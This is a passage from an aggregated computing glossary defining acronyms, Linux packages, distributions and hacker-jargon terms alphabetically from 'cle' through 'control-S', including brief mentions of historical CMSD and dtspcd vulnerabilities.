Certified Lotus Engineer (Lotus) 
cle
Wrap any command-line driven tool with readline This handy tool lets you use history and line-editing in any text oriented tool. This is especially usefully with third-party commercial tools that cannot be modified to use readline themselves. It's not perfect but it works pretty well. 
cleanlinks
remove dangling symbolic links and empty directories 
cleanup-info
clean up the mess that bogus install-info may have done 
clear
clear the terminal screen 
clear-text
In cryptography, the term clear-text describes messages that have not been encrypted. The word has the connotation of data that should be encrypted, but isn't (such as clear-text passwords). Misunderstanding: The word text comes from traditional cryptography that meant the text of messages, though these days text can refer to binary computer data as well. 
CLEC
Competitive Local Exchange Carrier 
CLI
Call Level Interface (SAQ, X/Open, Informix, ...) 
CLI
CLear Interrupt (assembler) 
CLI
Command Line Interpreter / Interface (OS) 
CLI
Common Language Infrastructure (MS) 
CLI (Command Line Interface)
A full-screen or windowed text-mode session where the user executes programs by typing in commands with or without parameters. The CLI displays output text from the operating system or program and provides a command prompt for user input. 
CLI (command line interface)
A means of communication between a program and its user, based solely on textual input and output. Commands are input with the help of a keyboard or similar device and are interpreted and executed by the program. Results are output as text or graphics to the terminal. 
CLIC
Chemnitzer LInux Cluster (Linux, Chemnitz), "CLiC" 
CLIC
Computer Liability Insurance Coverage 
CLIC
MandrakeSoft, Bull and INPG/INRIA, a Grenoble Research Group created CLIC, a Linux Clustering Distribution. The first CLIC version, released October 30, 2002, features rapid deployment, auto-configuration, MPICH, LAM and PVM support, a large number of mathematical libraries, and Netjuggler (a parallelized virtual reality 3D engine). A 'special purpose/mini' distribution. 
CLID
Calling Line IDentification 
client
A machine that requests resources from other machines (servers). A client application, e.g. the popular email client elm, is a program that makes requests on other applications for information. 
Client
A machine that requests services (e-mail, for example) from a server. 
Client
A software program that is used to contact and obtain data from a Server software program on another computer, often across a great distance. EachClient program is designed to work with one or more specific kinds of Server programs, and each Server requires a specific kind of Client. A Web Browser is a specific kind of Client. 
client
In a computer network, a user or process on a node that requests information or service from another node (usually a server). 
client-server
A common form of distributed system in which software is split between server tasks and client tasks. A client sends requests to a server, according to some protocol, asking for information or action, and the server responds. 
clif
C language interpreter Clif, a C-like Interpreter Framework, is and open-ended system for fast development of programs with C syntax. The program is compiled and if syntactically correct, code is immediately generated. The code is generated for a virtual machine. The virtual machine is a part of the framework. 
clig
Command Line Interpreter Generator Based on a simple specification file clig generates C-code for a function Cmdline *parseCmdline(int argc, char **argv) which parses the command-line of a typical C-program and returns the result in a structure of type Cmdline. Besides parseCmdline(), the function void usage(void) is generated and will be called by the command-line parser if the command line contains obvious errors. One of the main reasons to use clig is the automatic generation of a usage()-function which is always up-to- date with respect to the options actually understood by the program. Additionally, clig creates a manual page. For more information, see http://wsd.iitb.fhg.de/~kir/clighome/. 
CLIM
Common LISP Interface Manager (CLOS, LISP) 
clips
"C" Language Integrated Production System CLIPS 6.0 is an OPS-like forward chaining production system written in ANSI C by NASA. The CLIPS inference engine includes truth maintenance, dynamic rule addition, and customizable conflict resolution strategies. CLIPS, including the runtime version, is easily embeddable in other applications. CLIPS includes an object-oriented language called COOL (CLIPS Object-Oriented Language) which is directly integrated with the inference engine. 
clisp
GNU CLISP, a Common Lisp implementation Common Lisp is a high-level, general-purpose programming language. GNU CLISP is a Common Lisp implementation by Bruno Haible of Karlsruhe University and Michael Stoll of Munich University, both in Germany. It mostly supports the Lisp described in the ANSI Common Lisp standard. It runs on microcomputers (OS/2, Windows NT/2000, Windows 95/98, Amiga 500-4000, Acorn RISC PC) as well as on Unix workstations (Linux, SVR4, Sun4, DEC Alpha OSF, HP-UX, BeOS, NeXTstep, SGI, AIX, Sun3 and others) and needs only 2 MB of RAM. The user interface comes in German, English, French, Spanish and Dutch. GNU CLISP includes an interpreter, a compiler, a large subset of CLOS, a foreign language interface and a socket interface. An X11 interface is available through CLX and Garnet. 
CLIW
Configurable Long Instruction Word (IC, CPU) 
CLL
ConnectionLess Layer (UNI, NNI, ATM) 
CLNAP
Connectionless Network Access Protocol (UNI, NNI, ATM) 
CLNP
ConnectionLess Network Protocol (OSI, ISO 8473) 
CLNS
ConnectionLess Network Service 
clobber
vt. To overwrite, usually unintentionally: "I walked off the end of the array and clobbered the stack." Compare mung, scribble, trash, and smash the stack. 
CLOS
Common LISP Object System (LISP) 
CLP
Cell Loss Priority (UNI, ATM, CLR) 
CLR
Cell Loss Ratio (UNI, ATM, QOS) 
CLS
Card Loading Signal 
CLSF
ConnectionLess Service Function 
CLSID
CLasS IDentifier (COM) 
CLTP
ConnectionLess Transport Protocol (OSI) 
CLU
Command Line Utility: a program that can be executed from the command prompt. Examples of command line utilities in Linux are ls, dd, tar and gzip. 
CLU (Command Line Utility)
A program that is run from a command line session, or shell, such as Tar or Mkdir. 
clue
Lisp package for clue/clio/pictures: X interfaces for lisp Clue is to lisp what xlib is to C. It's basic, but close to the metal. Clio is to Lisp what Xt is to C. It uses CLOS to give an OO interface to X. Pictures is an imaging-system for clue. It lets people use constraints and such to draw pictures. 
CLUG
Chemnitzer Linux User Group (Chemnitz, user group, Linux) 
ClumpOS
From Pachyderm Software, ClumpOS is a CD-based Linux/MOSIX mini-distribution designed to allow you to quickly, or temporarily, add nodes to a MOSIX cluster. By default ClumpOS will attempt to configure the system for correct MOSIX operation, but an 'Expert' mode allows users to manually configure network and MOSIX settings. Version R5.0 was released February 12, 2002, with Linux kernel 2.4.17 and MOSIX 1.5.7 for 2.4.17. Version R7.0 was released September 18, 2002. Support for ClumpOS was discontinued as of January 31, 2003. A CD-based distribution. 
cluster
1. A physical group of blocks on a computer disk, treated as a single logical unit. 2. A collection of linked computer systems used for high-performance data processing load- balancing. 
Cluster
A network of workstations (PCs or other) running Linux. (Also, see Beowulf.) 
Cluster
On a floppy or hard disk, the basic unit of data storage. A cluster includes two or more sectors. 
Cluster
Range from a conventional network of workstations (NOW) to essentially custom parallel machines that just happen to use Linux PCs as processor nodes. 
ClusterKnoppix
ClusterKnoppix is a basically a modified Knoppix with the openMosix kernel. Bittorrent: clusterKNOPPIX_V3.2-2003-05-20-EN-cl1.iso was released May 28, 2003. A 'special purpose/mini' distribution. 
CLUT
Color LookUp Table (VGA) 
CLV
Constant Linear Velocity (CD, MOD) 
CLX
Class Library for cross platform (Delphi, Windows, Linux) 
CM
Compatibility Mode (PARISC, NM) 
CM
Configuration Management 
CM
Configuration Manager (BIOS, PNP) 
CM
Connection Management (RR, MM, GSM, mobile-systems) 
CM2
Communication Manager /2 (IBM), "CM/2" 
CM5
Connection Machine 5 (TMC) 
cmake
A cross-platform, open-source make system. CMake is used to control the software compilation process using simple platform and compiler independent configuration files. CMake generates native makefiles and workspaces that can be used in the compiler environment of your choice. CMake is quite sophisticated: it is possible to support complex environments requiring system configuration, pre-processor generation, code generation, and template instantiation. CMake was developed by Kitware as part of the NLM Insight Segmentation and Registration Toolkit project. The ASCI VIEWS project also provided support in the context of their parallel computation environment. Other sponsors include the Insight, VTK, and VXL open source software communities. 
CMAS
Cambridge Multiple Access System (OS) 
cmatrix
Console Matrix simulates the display from "The Matrix" It is based on the screensaver from the movie's website. It works with terminal settings up to 132x300 and can scroll lines all at the same rate 
CMC
Common Messaging Calls [interface] (XAPIA) 
CMC
Complement Carry Flag (assembler) 
CMC
Computer Mediated Communications [studies centre] (org., USA) 
CMDS
Cambridge Model Distributed System (OS) 
CME
Component Management Entity 
CMGA
Community of Massive Gaming Agents Internet, Germany, Telekom 
CMGS
Cyan Magenta Gelb Schwarz (color system, DTP) 
CMI
Coded Mark Inversion 
CMI
Connection Manager Interface (IBM, SNA) 
CMIA
China Medical Informatics Association (org., China) 
CMIP
Common Management Information Protocol (OSI, ISO, DP 9506, X.700) 
CMIS
Common Management Information Service (OSI) 
CMISE
Common Management Information Service Element (CMIS) 
cmix
A program specializer for C A program specializer or, as it is also called, a "partial evaluator" takes the source code for a program or a routine and (commonly) some of its input, and tries to produce faster but equivalent code, utilizing the fact that some of the variables will have known values so that some of the program's actions can be precomputed. This allows one to combine the maintainability of a generic parameterized source code with the speed of programs optimized for specific problem instances. C-Mix is a program specializer that works on portable C code. You will need a C compiler for compiling intermediate programs. For advanced use you may also want a WWW browser for browsing the analysis results. 
CMM
Color Management Method (DTP, ICM) 
CMMU
Cache/Memory Management Unit 
CMO
Chi Mei Optoelectronic (manufacturer) 
CMOL
CMIP Over LLC (OSI, LLC) 
CMOS
Complementary-symmetry Metal-Oxide Semiconductor (IC) 
CMOS
When the system is powered off, some persistent BIOS settings are stored in a small bit of battery sustained RAM built using CMOS technology. The name "CMOS settings" have become synonymous with "BIOS settings". Some viruses have been known to corrupt these settings, resulting in a condition where the machine can no longer boot. Simply setting a jumper to disconnect the battery backup will restore the settings back to factory defaults. 
CMOS (Complementary Metal-Oxide Semiconductor)
An energy-saving chip made to duplicate the functions of other chips, such as momry chips or microprocessors. CMOS chips are used in battery-powered portable computers and in other applications where reduced electrical consumption is desired. CMOS also refers to a special CMOS chip that operates the real time clock included on a motherboard and stores the basic system configuration, including floppy and hard disk types, amount of installed momery, and wat state settings. These settings are retained while the computer is off with only nominal battery support. 
CMOT
CMIP Over TCP (OSI, RFC 1189, CMIP, TCP) 
cmp
compare two files or byte ranges 
CMP
Cooperative Marketing Partner (DEC) 
CMR
Cell Misinsertion Rate (ATM) 
CMS
Chip Multiprocessor System 
CMS
Code Management System (DEC, CM) 
CMS
Color Management System 
CMS
Content Management Software / System 
CMS
Cryptographic Message Syntax (cryptography, RFC 2630) 
CMS
[Cambridge] / Conversational Monitor System (IBM, OS, VM, VME, VM/ESA, Z/VM) 
CMSD (Calender Manager Server Daemon)
rpc.cmsd Provides an online calender were different people can view each other's schedules. The very existence of this application scares some security profesionals because it reveals too much information about individuals In 1998, a buffer-overflow in CMSD was one of the most popular exploits on the Internet. dtspcd DeskTop SubProces Control Daemon A service whereby a CDE process can easily launch another process on another computer. In November 2001, a remote exploit was discovered that affects all major UNIX vendors. 
cmt
Computer Music Toolkit (cmt) a collection of LADSPA plugins cmt -- Computer Music Toolkit -- is a collection of LADSPA compatible plugins that any conforming program may take advantage of. Plugins available are: low/high pass filters, echo/feedback delay filters with configurable delays from 0.01 to 60 seconds, amplifies, white noise generators, compresspors, expanders, limiters, b/fmh encoders, drum synthesizers and many more These plugins are only usable in host applications, of which glame, sweep and others can be found in Debian. For further information on cmt see <URL: http://www.ladspa.org/cmt/> 
CMT
Connection ManagemenT (FDDI) 
CMU
Carnegie-Mellon-University (org.) 
cmucl
The CMUCL lisp compiler and development system. This is the basis package for CMUCL. It contains the base image with the compiler, PCL (CLOS), and the tty based debugger. It also contains cmuclconfig to configure in additional libraries. NOTE: you also need to select one of the cores that this package suggests! 
CMY
Cyan Magenta Yellow (color system, DTP) 
CMYK
Cyan Magenta Yellow blacK (color system, DTP) 
CN
Communications Network 
CN
Connection Management (mobile-systems) 
CN
Coordination Message (ISO 9646-3, TTCN) 
CN
Copy Network 
CN
Corporate Network 
CNA
Certified Novell Administrator (Novell, Netware) 
CNA
Communication Network Architecture (SEL) 
CNA
Communications Network Application 
CNBC
Center for Neural Basis of Cognition (org., CMU, AI) 
CNC
Communications Network Control 
CNC
Computerized Numerical Control 
CND
Caldera Network Desktop (Linux) 
CND
Caller Number Delivery (MODEM) 
CNE
Certified Netware Engineer (Novell, Netware) 
CNEPA
Certified Netware Engineers Professional Association (org., Netware) 
CNET
Centre Nationale d'Etudes des Telecommunications (org., France) 
cnews
Simple News Server for Usenet news. C News is a light weight news server suitable for small feeds. C News is very useful for keeping some Usenet groups on a local system and minimizing the time you need to stay connected to the internet. The nntp package is needed for NNTP support. You need the non-free ncompress package only if you want to exchange news batches with sites where uncompress isn't gunzip. 
CNI
Certified Netware Instructor (Novell, Netware) 
CNI
Common Network Interface 
CNIDIR
Coalition for Networked Information DIRectories (Internet) 
CNM
Communications Network Management 
CNM
Customer Network Management 
CNMA
Communications Network for Manufacturing Applications 
CNMS
Cylink Network Management System 
CNNIC
China interNet Network Information Center (org., Internet, China) 
CNP
Corporate Network Products (TPS) 
CNR
Communications and Network Riser 
CNRCVUUCP
Compressed News ReCeive Via UUCP 
CNS
Certified Novell Salesperson (Novell, Netware) 
CNS
Complimentary Network Service 
CNS
Compuserve Network Services (CIS) 
CO
Check Out (RCS) 
co
check out RCS revisions 
CO
Connection Oriented (CL) 
co-location
Most often used to refer to having a server that belongs to one person or group physically located on an Internet-connected network that belongs to another person or group. Usually this is done because the server owner wants their machine to be on a high-speed Internet connection and/or they do not want the security risks of having the server on thier own network. 
Co-operative multitasking
In an operating system, a means of running more than one program at a time. In cooperative multitasking, one application program cannot force another to do something. An application yields to another voluntarily, but only after checking the electronic equivalent of a message box to see if any other applications have made a request. If the applicatio nis involved in a lengthy operation, howeber, it may not check the message box until the opeation is completed. See pre-emptive multitasking. 
COAS
Caldera Open Administration System (Linux) 
COAST
Cache On A STick (Intel) 
COAST
Computer Operations, Audit and Security Technology (org.) 
cobfusc
make a C source file unreadable but compilable 
COBOL
/koh'bol/ n. [COmmon Business-Oriented Language] (Synonymous with evil.) A weak, verbose, and flabby language used by card wallopers to do boring mindless things on dinosaur mainframes. Hackers believe that all COBOL programmers are suits or code grinders, and no self-respecting hacker will ever admit to having learned the language. Its very name is seldom uttered without ritual expressions of disgust or horror. One popular one is Edsger W. Dijkstra's famous observation that "The use of COBOL cripples the mind; its teaching should, therefore, be regarded as a criminal offense." (from "Selected Writings on Computing: A Personal Perspective") See also fear and loathing, software rot. 
COBOL
COmmon Business Orientated Language 
COBRA
??? (org., Netherlands) 
COBRA
COmmunication technology: Basic Research and Applications 
COBWEB
COntent-Based image retrieval on the WEB (WWW, ESPRIT) 
COCA
Cost Of Cracking Adjustment (cryptography) 
cocoon
A XML/XSL publishing framework servlet Cocoon is a 100% pure Java XML/XSL publishing framework servlet that allows complete separation of content, logic and style. It currently works with tomcat but with some manual changes it should work with jserv too. More information can be found at http://java.apache.org/cocoon. 
COCOT
Customer Owned Coin Operated Telephone 
COD
Connection Oriented Data 
CODASYSL
Conference On DAta Systems Languages (conference) 
CODCF
Central Office Data Connecting Facility 
CODE
Client/server Open Development Environment (Powersoft) 
CODE
COlor Depth Enhancement (ATI) 
code
This word has a number of uses. It may describe the "code" used to program computers. It may describe the "codes" used in encryption. It may be a number, such as an area-code or ICMP code. source code Describes the code that a programmer writes. It is compiled into binary object-code . See open-source. object code The output from compiling source-code. area code ICMP code. 
code2html
Syntax highlighter. Code2html is a perl script which converts a program source code to syntax highlighted HTML, or any other target for which rules are defined. It may be used as a simple console program, converting a single source code file to a single output file, it can patch HTML files including special command sequences to insert syntax highlighted snippets of code, or it can be used as a CGI script. 
codebook
In ancient times, a codebook was a book where you looked up a word, and replaced with another word according to the substitution table in the book. For example, you may look up the words "attack at dawn" in the book and come up with the words mouse dog cat that you send to your troops. The troops receiving the message would likewise look up these words in their codebooks in order to figure out the original message. Key point: In block-ciphers, the key represents a codebook. In other words, you could use the key to generate a huge book of matching pairs whereby each plaintext block would match to exactly one ciphertext block. Then, you could encrypt messages by looking them up in this table. See also: ECB 
codebreaker
A Master Mind clone using GTK Code Breaker is a variation on the game "MasterMind" (R) that is put out by Pressman (R). So if you know how to play "MasterMind" (R) you should catch onto this game right away. 
CODEC
COder - DECoder 
Codec
In multimedia, a program that comresses audio, video, or graphics files for efficient storag or transmission, and decompresses them for playback purposes. Codec is an abbreviatoin for compressional decompression. 
Codec (COder/DECoder)
Device used to convert analog signals to digital signals for transmission and reconvert signals upon reception at the remote site while allowing for the signal to be compressed for less expensive transmission. From Glossary of Distance Education and Internet Terminology
COE
Central Office Equipment 
COEES
COE Engineering System (COE) 
COFDM
??? (Digital audio) 
COFF
Common Object File Format (Unix) 
COIPX
Connection Orientated Internet Packet eXchange (Novell, Netware, IPX), "CO-IPX" 
COL
Caldera Open Linux (Caldera, Linux) 
col
filter reverse line feeds from input 
COLA
A shorthand way of referring to the Internet newsgroup comp.os.linux.announce, where Linux-related materials are announced. 
colcrt
filter nroff output for CRT previewing 
COLD
Computer Output on LaserDisk 
coldsync
A tool for syncing PalmOS PDAs with Unix workstations Coldsync is a tool for syncing PalmOS PDAs with a Unix workstation with a focus on consistancy of data. It also has an API which allows conduits to be written in Perl, among other languages. 
COLIBRI
COprozessor fuer LISP auf der Basis von RISC (RISC) 
collateindex.pl
generate DocBook index files 
College Linux
CollegeLinux is made available by Robert Kennedy College, Del.Aimont, Suisse to both RKC and non RKC students. CollegeLinux is a new, stand-alone operating system based on Slackware. The aim of this experimental Linux distribution is to provide to students with an operating system which is easy to install and use and which provides an alternative to the traditional commercial operating systems. Entry added March 4, 2003. College Linux 2.3 (Darth Vader) was released May 9, 2003. 
colorgcc
Colorizer for GCC warning/error messages A Perl wrapper to colorize the output of compilers with warning / error messages matching the gcc output format. More information can be found at the colorgcc web site http://home.i1.net/~jamoyers/software/. 
colorize
A robust log colorizer in Perl. This is a short (no, it's not short anymore :) perl script to colorize your logs. You can even use syslog-ng to redirect all logs to the script and colorize them on the fly! 
colormake
a simple wrapper around make to colorize output This package contains colormake.pl which parses the output of make to colorize it to make it easier read. In addition, there are two wrapper scripts included, cmake and clmake, which can be invoked instead of make with colorized output on-the-fly. 
colrconv
Convers client with curses color support Colrconv is a modified version of VA3DP's ttylink client. In addition to the basic split screen session it gives you color and sound support plus some line editing capabilities, a scroll buffer and a status line. Also the default port is changed to 3600 (convers). 
colrm
remove columns from a file 
column
columnate lists 
COM
Component Object Model (OLE, OLE2, OCX, ActiveX, MS) 
COM
Computer Output on Microfilm 
COM
Continuation of Message 
COM port
Communication or serial port on PCs of the Intel variety usually used for a data communication interface. From Glossary of Distance Education and Internet Terminology
COMA
Cache Only Memory Architecture (SMP) 
COMAL
COMmon Algorithmic Language 
COMDEX
COMputer Dealer's EXposition (fair) 
comedi-source
Comedi kernel module source Comedi (Control and Measurement Device Interface) is a collection of device drivers for data acquisition devices. This includes most devices that have analog-to-digital (A/D) converters, digital-to-analog (D/A) converters, raw digital I/O, digital counters, and timers. Well-known manufacturers include National Instruments, Data Translation, and Measurement Computing. A list of supported devices can be found in /usr/share/doc/comedi-source/. These drivers are not included in the Linux kernel source, so if you want to use these devices with Debian, you should install this package and compile the modules. The packages libcomedi0 and libcomedi-dev contain documentation about Comedi and Comedilib. This package provides the source code for Comedi. The kernel source is required to compile these modules. 
comm
compare two sorted files line by line 
Comma-delimited file
A data file, usually in ASCII format, in which a user or program serates the data items by commas to facilitate the transfer of data to another program. 
Command
A user-initiated signal given to a progam that initiates, terminates, or otherwise controls the execution of a specific operation. In command-driven programs, you type the command statement and its associated syntax and press Enter, In a menu=driven program, you choose a command from an on-screen menu. 
command
An instruction to execute a process given to a computer via a keyboard, mouse, or voice request. Commands can also be called from another running process or an executable script. 
command
In a Linux-based network, a Linux system that uses the file systems provided by another Linux system. In the X window system, it is an application program which depends on the display serve. 
command line
A space provided directly on the screen where users type specific commands. In Linux, you open a shell prompt and type commands at the command line, which generally displays a $ prompt at the end. 
command line option
A selected configuration or setting passed to a command by a user or process that executes the command with a certain feature or pointer that is not available by default. 
Command Prompt
The DOS/Windows and OS/2 term for the part of the command line interface where the user types commands. (Also, see Shell Prompt.) From I-gloss This term can also be used in a Linux/UNIX context to describe the '#' or '$' symbol which signifies that the system is ready to accept some input. From Binh
command-line (command-prompt, DOS prompt, shell, CLI, command-line interface)
One of the two fundamental user interfaces. Whereas most people are familiar with "graphical user interfaces (GUIs)" using windows and mice, the command-line provides a raw interface into the inner workings of the computer. Key point: The average hacker does all his/her work from the command-line. Virtually all hacker tools are command-line oriented. 
Commands
You tell the computer what to do with single words typed into the computer one at a time. Modern computers appear to have done away with the typing of commands by having beautiful graphical displays that work with a mouse, but, fundamentally, all that is happening is that commands are being secretly typed in for you. Using commands is still the only way to have complete power over the computer. You don't really know anything about a computer until you come to grips with the commands it uses. Using a computer will very much involve typing in a word, pressing , and then waiting for the computer screen to spit something back at you. Most commands are typed in to do something useful to a file. 
command_oriented_history
If set, bash attempts to save all lines of a multiple-line command in the same history entry. This allows easy re-editing of multi-line commands. 
Common UNIX Printing System (CUPS)
A freely-distributable collection of tools and drivers that allow UNIX and UNIX-compatible operating systems to control printer devices, manage print queues, and process print requests. 
compact disc read-only memory (CD-ROM)
An optical disc that contains computer data. Storage capacity is typically 650-700 megabytes. CD-ROMs can usually be read by different kinds of computers, depending on the data stored on the disc. 
compact disc recordable (or rewritable) (CD-R(W))
A writable optical disc that contains computer data. CD-Rs can only be written to once, while CD-RWs can be written, erased, and rewritten. 
COMPARTS
COMputergestuetztes PARtner-TeilebestandsSystem (MBAG) 
compface
Compress/decompress images for mailheaders, user tools Converts 48x48 .xbm format (X bitmap) files to a compressed format that can be placed in your X-Face: mail header. Some mailreaders, like exmh will then display this image when the user is reading your mail. 
compile
To turn a program from source code into an executable machine code file. 
Compile
To turn programming source code into an executable program. 
Compiled Language
A language that requires a compiler program to turn programming source code into an executable machine-language binary program. After compiling once, the program can continue to be run from its binary form without compiling again. Compiled languages/programs tend to be faster than interpreted or p-code languages, but require compilers (which can be expensive), and are often more difficult to program in than interpreted and p-code languages. Examples of compiled languages are C and C++, COBOL, and FORTRAN. 
compiler
A computer program that translates high-level programs, called source files, into low-level programs, called object files. 
Compiler
A program that reads the statements written in a human-readable programming language, such as Pacal or Modula-2, and translates the statements into a machine-readable executable program. Compiled programs run significantly faster than interpreted ones because the program interacts directly with the microprocessor and doesn't need to share memory space with the interpreter. 
compiler
In programming, a compiler takes human readable source code and converts it into the binary code that the computer can understand. Key point: A compiler is a form of lossy compression and one-way encryption. All the information meaningful to humans is removed from the code leaving only the information necessary for the computer. This means that humans can no longer easily read the resulting program directly. Because of the "one-way" nature of the operation, programs cannot be used to recover the existing source code. This effect is different in various languages. C++ is the worst language in terms of decompilation; Java is the best. Most Java applets can be decompiled back to some semblance of their previous form. This has led to a market for programs that further obfuscate Java binaries in an effort to hide the original source code. Some compilers do leave human-readable symbols behind for debugging purposes. They won't reveal the original source, but can still be useful for reverse engineering They can be "stripped" from the binary. 
compilercache
a caching wrapper around compilers to speed up compilations Compilercache is a wrapper around your C and C++ compilers. Each time you compile something, the wrapper puts the result of the compilation into a cache. And once you compile the same thing again, the result will be picked from the cache instead of being recompiled. Care is taken to ensure that compilation with and without compilercache always results in identical object files. 
Compledge Sentinel
Compledge Sentinel is a Linux distribution designed for monitoring, auditing and intrusion detection. - a complete solution to solve as many monitoring needs and aspects as possible. A wide variety of open source software is included: Nagios, Nagat, Nessus, Snort, ACID, openMosix, Apache /w OpenSSL, PHP and MySQL. The whole package is distributed on one CD, ready to install on any x86-based computer. Version RC2.1 was released May 22, 2003. A 'special purpose/mini' distribution. 
component
A single element within a larger system; it can be hardware or software based and performs essential functions needed by the system. 
compose
execute programs via entries in the mailcap file 
Compress
A UNIX compression utility that creates files with the *.Z extensin. A copyrighted program, compress cannot be freely redistributed, so many UNIX users prefer to use the Open Software Foundation's gunzip, which creates compressed files with the *.gz extension. 
Compress
To make a file smaller by applying a compression algorithm, usually for the purpose of conserving space or speeding up file transfers. This can also refer to the Unix command to compress a file which appends '.Z' to the filename, or to the free GNU enhanced version, gzip. 
Compressed file
A file converted by a file compression utility to a special format that minimizes the disk storage space required. 
Compressed Video
Video signals are downsized to allow travel along a smaller carrier. From Glossary of Distance Education and Internet Terminology
compression
Since encrypted data is essentially random, you cannot compress it. This defeats networking standards designed to automatically encrypt traffic (such as dial-up modems). Therefore, data must be compressed before it is encrypted. For this reason, compression is becoming an automatic feature to most encryption products. The most often used compression standard is gzip and its compression library zlib. 
compression
Special encoding of data to reduce byte size; useful in storing and archiving large (or multiple) files or for transmission of data over a network. 
Compression
The compacting of files to save storage space and reduce transfer time. Compression uses algorithms such as Lempel-Ziv, LZW and Huffman coding. 
Compression
The reduction of a file's size by means of a compression program. The two types of compression are loassless compression and lossy compression. In lossless compression, the compression process allows for subsequent decompression of the data with no loss of the original data. Lossless compression is used for program and dat files. Lossy compression, in which the compression processes remove some of the data in a way that is not obvious to a person using te data. Lossy compression is used for sounds, graphics, animations, and videos. Many modems offer on-the-fly compression, and often use the MNP5 or V.42bis protocols. 
compression methods
There are two types: With lossless compression none of the original information is lost. Generally such compression can reduce the file size by about 50%. A popular lossless compression for graphics files is .tga (Targa) or for data .gz and .zip. The other compression method is lossy compression where some of the original information is lost. Lossy compression methods can reduce the file size often by 300% but are unsuitable in many situations. They are particularly useful for the compression of graphic files with JPEG compression being the most popular, especially as they help to reduce bandwidth. 
compromise
To break into a computer is to "compromise" its security. The word "compromise" is used as a synonym for "break into", "crack", "hack", and so on. 
COMPUSEC (computer security InfraGuard)
InfraGuard is an alliance between the FBI and the private sector designed to protect the information infrastructure (i.e. the Internet). InfraGuard provides formal and informal channels for exchanging information (between government and the private sector) about Internet threats and vulnerabilities. InfraGuard is organized into local area chapters throughout the United States, where local private organizations get in touch with the oppropriate FBI field office. Contrast: Information is gathered from InfraGuard chapters and funneled up to the NIPC, which analyzes and cleanses the data, and distributes it back out to its members. 
Computer Assisted Instruction (CAI)
Teaching process in which a computer is used to enhance the education of a student. From Glossary of Distance Education and Internet Terminology
COMTECH
COMputer TECHnologies (fair) 
concatenate
To join two or more files or segments of text to form a single unit. The cat command, which is an abbreviation of this word, concatenates files. 
Concatenation
To link together two or more units of information, such as strings or files, so that they form one unit. In spreadsheet programs, concatenation is used to combine text in a formula by placing an ampersand between the formula and text. 
CONCERT
Communications for North Carolina Education, Research and Technology (network) 
CONCISE
COSINE Network's Central Information Service for Europe (COSINE, network) 
Conectiva Linux
Based in Brazil, Conectiva is well-known in South America and has excellent Portuguese and Spanish support. Conectiva is the Latin and South American arm of UnitedLinux. The most current versions (as of April 2003) seem to be Conectiva Linux 9 and Conectiva Linux Enterprise Edition - Powered by UnitedLinux v1.0. 
configlet-frontends
Alternate debconf configuration interface - frontends A "configlet" is a small Python/GNOME/Glade applet designed to load into a frontend application for the purpose of presenting an alternate interface to the standard debconf questions for one or more packages. This package provides a GNOME Druid frontend for the configlets, as well as a capplet interface that plugs configlets into the GNOME Control Center. 
Configuration
The choices made in setting up a computer system or an application program so that it meets the user's needs. Properly configuring your system is one of the more onerous tasks of personal computing and is mostly performed via manual alteration of system files in the /etc directory or 'dotfiles' in a user's home directory. Wizards such as the linuxconf and webmin can make such a task much easier. 
Configuration file
A file created by an application progarm that stores the choices you make when you install (or configure) the program so that they're available the next time you start the program. 
configurewrapper
Placeholder for code that should correctly deal with host and build architecture for GNU autoconf-generated configure scripts. 
CONLAN
??? [hardware description language] (HDL) 
conquest
a real-time, curses based, multi-player space warfare game Conquest is a predecessor of netrek. The object of the game is twofold. The short-range goal is to accumulate "kills" by shooting down enemy players. You get one kill point for each enemy ship shot down, plus some extra if the enemy had kills too. The major weapon used to shoot down ships is the photon torpedo. The long-range goal is to conquer the universe for your team by taking every planet. You take planets by killing off the enemy's armies via bombardment, and then beaming your team's armies down. When all the planets have been taken, the game ends, a new game begins, and the player who actually took the last planet gets his/her name up in lights. 
cons
A Perl replacement for Make Excerpted from the README file: Cons is a system for constructing, primarily, software, but is quite different from previous software construction systems. Cons was designed from the ground up to deal easily with the construction of software spread over multiple source directories. Cons makes it easy to create build scripts that are simple, understandable and maintainable. Cons ensures that complex software is easily and accurately reproducible. Cons uses a number of techniques to accomplish all of this. Construction scripts are just Perl scripts, making them both easy to comprehend and very flexible. Global scoping of variables is replaced with an import/export mechanism for sharing information between scripts, significantly improving the readability and maintainability of each script. Construction environments are introduced: these are Perl objects that capture the information required for controlling the build process. Multiple environments are used when different semantics are required for generating products in the build tree. Cons implements automatic dependency analysis and uses this to globally sequence the entire build. Variant builds are easily produced from a single source tree. Intelligent build subsetting is possible, when working on localized changes. Overrides can be setup to easily override build instructions without modifying any scripts. MD5 cryptographic signatures are associated with derived files, and are used to accurately determine whether a given file needs to be rebuilt. 
CONS
Connection Oriented Networking Service 
console
Screen or station at which an administrator operates a computer system. Also called a terminal, shell prompt. 
Console Application
A command line program that does not require (or perhaps even offer) a graphical user interface to run. 
Console Linux
A general purpose distribution in Portuguese. 
console-log
Keeps a less syslog running on tty9 console-log keeps your syslog and your exim mainlog running in a less process on tty9/tty8. It also makes sure that this console is visible automatically after system boot so that a crashed system at least leaves the syslog readable on the console before reset. Using less makes searching, tagging and highlighting possible. 
console-tools
Linux console and font utilities. This package allows you to set-up and manipulate the Linux console (ie. screen and keyboard), and manipulate console-font files. `console-tools' was developed from version 0.94 of the standard `kbd' package, and integrates many fixes and enhancements, including new kbd features up to 0.99. You will probably want to install a set of data files, such as the one in the `console-data' package. For command-line compatibility with kbd, you may want to install the kbd-compat package. 
consolechars
load EGA/VGA console screen font, screen-font map, and/or application-charset map. 
CONTAC
Central Office NeTwork ACcess 
Contiguous
Adjacent; placed one next to or after the other. A range of cells in a spreadsheet is often, but not always, made up of contiguous cells. 
Control code
In ASCII (American Standard for Information Interchange, a code reserved for hardware-control purposes. In Abiword, for example, pressing Ctrl+F calls up the Find dialog box. 
control-C
vi. 1. "Stop whatever you are doing." From the interrupt character used on many operating systems to abort a running program. Considered silly. 2. interj. Among BSD Unix hackers, the canonical humorous response to "Give me a break!" 
control-center
GNOME (the GNU Network Object Model Environment) is an attractive and easy-to-use graphical desktop environment. The control-center package provides the GNOME Control Center utilities, which allow you to setupand configure your system's GNOME environment (such as the desktop background and theme, the screensaver, the window manager, system sounds, and mouse behavior). If you install GNOME, you need to install control-center. 
control-O
vi. "Stop talking." From the character used on some operating systems to abort output but allow the program to keep on running. Generally means that you are not interested in hearing anything more from that person, at least on that topic; a standard response to someone who is flaming. Considered silly. Compare control-S. 
control-Q
vi. "Resume." From the ASCII DC1 or XON character (the pronunciation /X-on/ is therefore also used), used to undo a previous control-S. 
control-S
